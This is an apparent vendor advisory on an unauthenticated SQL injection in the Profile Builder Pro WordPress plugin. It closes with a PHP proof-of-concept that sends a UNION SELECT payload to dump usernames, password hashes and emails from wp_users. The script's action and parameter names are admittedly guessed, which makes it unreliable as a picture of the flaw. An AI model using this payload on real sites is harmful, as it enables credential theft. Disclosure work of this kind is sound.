Atomic Edge analysis of CVE-2026-27413 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Profile Builder Pro WordPress plugin, affecting versions up to and including 3.13.9. The flaw exists due to insufficient input sanitization and a lack of prepared statements, allowing attackers to manipulate SQL queries and extract sensitive data from the database. The CVSS score of 7.5 (High) reflects its network-based attack vector, low attack complexity, and high impact on confidentiality.
Atomic Edge research infers the root cause is improper neutralization of special elements in an SQL command (CWE-89). The description states insufficient escaping on a user-supplied parameter and lack of sufficient preparation on an existing SQL query. This indicates the plugin likely constructs SQL queries by directly concatenating unsanitized user input into an SQL string, bypassing the use of WordPress’s `$wpdb->prepare()` method. The exact vulnerable function and parameter are not confirmed from source code.
The exploitation method involves an unauthenticated attacker sending a crafted HTTP request to a plugin endpoint. Based on WordPress plugin patterns, the likely attack vector is a public AJAX action (`wp_ajax_nopriv_`) or a REST API endpoint that processes user input. An attacker would append SQL injection payloads, such as a UNION SELECT, to the vulnerable parameter to extract data from the WordPress database. The payload would be designed to bypass any basic escaping that may be present.
Effective remediation requires implementing proper input validation and using parameterized queries. The plugin must replace any direct string concatenation in SQL statements with the WordPress `$wpdb->prepare()` function. All user-supplied parameters should be strictly validated for expected data types and lengths before being used in database operations. A patch should also review all database queries for similar unsafe patterns.
Successful exploitation leads to full compromise of database confidentiality. Attackers can extract sensitive information including user credentials (hashed passwords), personal data, and authentication cookies. This data breach can facilitate further attacks such as account takeover, privilege escalation, or site defacement. The unauthenticated nature of the attack significantly lowers the barrier for exploitation, increasing the risk of widespread impact.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27413 - Profile Builder Pro <= 3.13.9 - Unauthenticated SQL Injection
<?php
/**
* Proof-of-concept for CVE-2026-27413.
* This script attempts to exploit an unauthenticated SQL injection in Profile Builder Pro.
* The exact vulnerable endpoint and parameter are inferred from common plugin patterns.
* Assumptions:
* 1. The target uses a vulnerable version (<=3.13.9).
* 2. The plugin has a public AJAX action or REST endpoint.
* 3. The injection is in a POST or GET parameter.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Common WordPress AJAX endpoint
// Common AJAX action pattern derived from plugin slug 'profile-builder-pro'
$inferred_action = 'wppb_'; // Prefix often used by Profile Builder
// Since the exact action is unknown, we attempt a common pattern.
$post_data = array(
'action' => 'wppb_handle_request', // This is an INFERRED action name
'parameter' => "1' UNION SELECT user_login,user_pass,user_email FROM wp_users WHERE '1'='1" // Example SQLi payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && !empty($response)) {
echo "Potential exploitation attempt completed.n";
echo "Response (first 500 chars): " . substr($response, 0, 500) . "n";
// In a real exploit, the response would be parsed for extracted data.
} else {
echo "Request failed or endpoint not vulnerable. HTTP Code: $http_coden";
}
?>
